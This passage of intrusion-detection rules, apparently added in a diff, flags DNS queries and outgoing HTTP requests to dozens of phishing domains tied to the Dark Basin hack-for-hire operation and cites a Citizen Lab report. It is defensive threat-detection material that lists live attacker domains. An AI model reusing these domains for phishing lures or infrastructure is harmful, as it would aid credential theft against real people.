reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxbasicmy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxbasicmy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxbasicmy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356363; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linuxbasicru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356371; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linuxbasicru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356372; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxbasicru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxbasicru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxbasicru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356373; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicru1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|linuxbasicru1|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356381; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicru1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|linuxbasicru1|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356382; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxbasicru1.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxbasicru1.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxbasicru1\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356383; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicru3.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|linuxbasicru3|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357751; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicru3.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|linuxbasicru3|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357752; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxbasicru3.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxbasicru3.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxbasicru3\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357753; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linuxbasicsg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356391; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|linuxbasicsg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356392; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxbasicsg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxbasicsg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxbasicsg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356393; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicsg1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|linuxbasicsg1|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356401; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxbasicsg1.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|linuxbasicsg1|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356402; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxbasicsg1.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxbasicsg1.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxbasicsg1\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356403; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxhostingplatformuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|linuxhostingplatformuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356571; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxhostingplatformuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|linuxhostingplatformuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356572; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxhostingplatformuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxhostingplatformuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxhostingplatformuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356573; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: linuxserverfast.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|linuxserverfast|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356971; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: linuxserverfast.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|linuxserverfast|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356972; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: linuxserverfast.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"linuxserverfast.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])linuxserverfast\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356973; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: lnkshrtnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|lnkshrtnr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354471; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: lnkshrtnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|lnkshrtnr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354472; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: lnkshrtnr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"lnkshrtnr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])lnkshrtnr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354473; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: localhostinguk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|localhostinguk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355651; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: localhostinguk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|localhostinguk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355652; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: localhostinguk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"localhostinguk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])localhostinguk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355653; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: localserversa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|localserversa|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356791; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: localserversa.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|localserversa|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356792; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: localserversa.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"localserversa.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])localserversa\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356793; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: loginauths-service.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|loginauths-service|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353511; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: loginauths-service.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|loginauths-service|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353512; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: loginauths-service.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"loginauths-service.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])loginauths\-service\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353513; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: logincontrolserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|logincontrolserver|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354971; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: logincontrolserver.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|logincontrolserver|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354972; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: logincontrolserver.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"logincontrolserver.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])logincontrolserver\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354973; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: loginservercheck.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|loginservercheck|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354741; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: loginservercheck.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|loginservercheck|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354742; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: loginservercheck.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"loginservercheck.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])loginservercheck\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354743; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: loginservicebasic.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|loginservicebasic|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355711; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: loginservicebasic.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|loginservicebasic|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355712; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: loginservicebasic.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"loginservicebasic.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])loginservicebasic\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355713; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: loginservicehelp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|loginservicehelp|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356541; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: loginservicehelp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|loginservicehelp|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356542; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: loginservicehelp.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"loginservicehelp.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])loginservicehelp\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356543; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: loginservicesmailsonlinesaccounts.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|21|loginservicesmailsonlinesaccounts|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355431; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: loginservicesmailsonlinesaccounts.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|21|loginservicesmailsonlinesaccounts|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355432; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: loginservicesmailsonlinesaccounts.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"loginservicesmailsonlinesaccounts.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])loginservicesmailsonlinesaccounts\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355433; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: loginserviceunified.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|loginserviceunified|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353671; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: loginserviceunified.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|loginserviceunified|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353672; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: loginserviceunified.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"loginserviceunified.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])loginserviceunified\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353673; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: logserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|logserver39|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353431; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: logserver39.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|logserver39|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353432; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: logserver39.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"logserver39.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])logserver39\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353433; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: look-com.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|look-com|03|org|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357571; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: look-com.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|look-com|03|org|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357572; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: look-com.org"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"look-com.org"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])look\-com\.org[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357573; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: luxlinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|luxlinbas|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356031; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: luxlinbas.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|luxlinbas|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356032; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: luxlinbas.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"luxlinbas.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])luxlinbas\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356033; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mail-com.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|mail-com|03|org|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357581; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mail-com.org"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|mail-com|03|org|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357582; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mail-com.org"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mail-com.org"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mail\-com\.org[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357583; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mail-logger.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|mail-logger|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353611; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mail-logger.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|mail-logger|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353612; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mail-logger.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mail-logger.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mail\-logger\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353613; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: mail-msrgr.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|mail-msrgr|04|info|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357441; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: mail-msrgr.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|mail-msrgr|04|info|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357442; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: mail-msrgr.info"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"mail-msrgr.info"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])mail\-msrgr\.info[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; 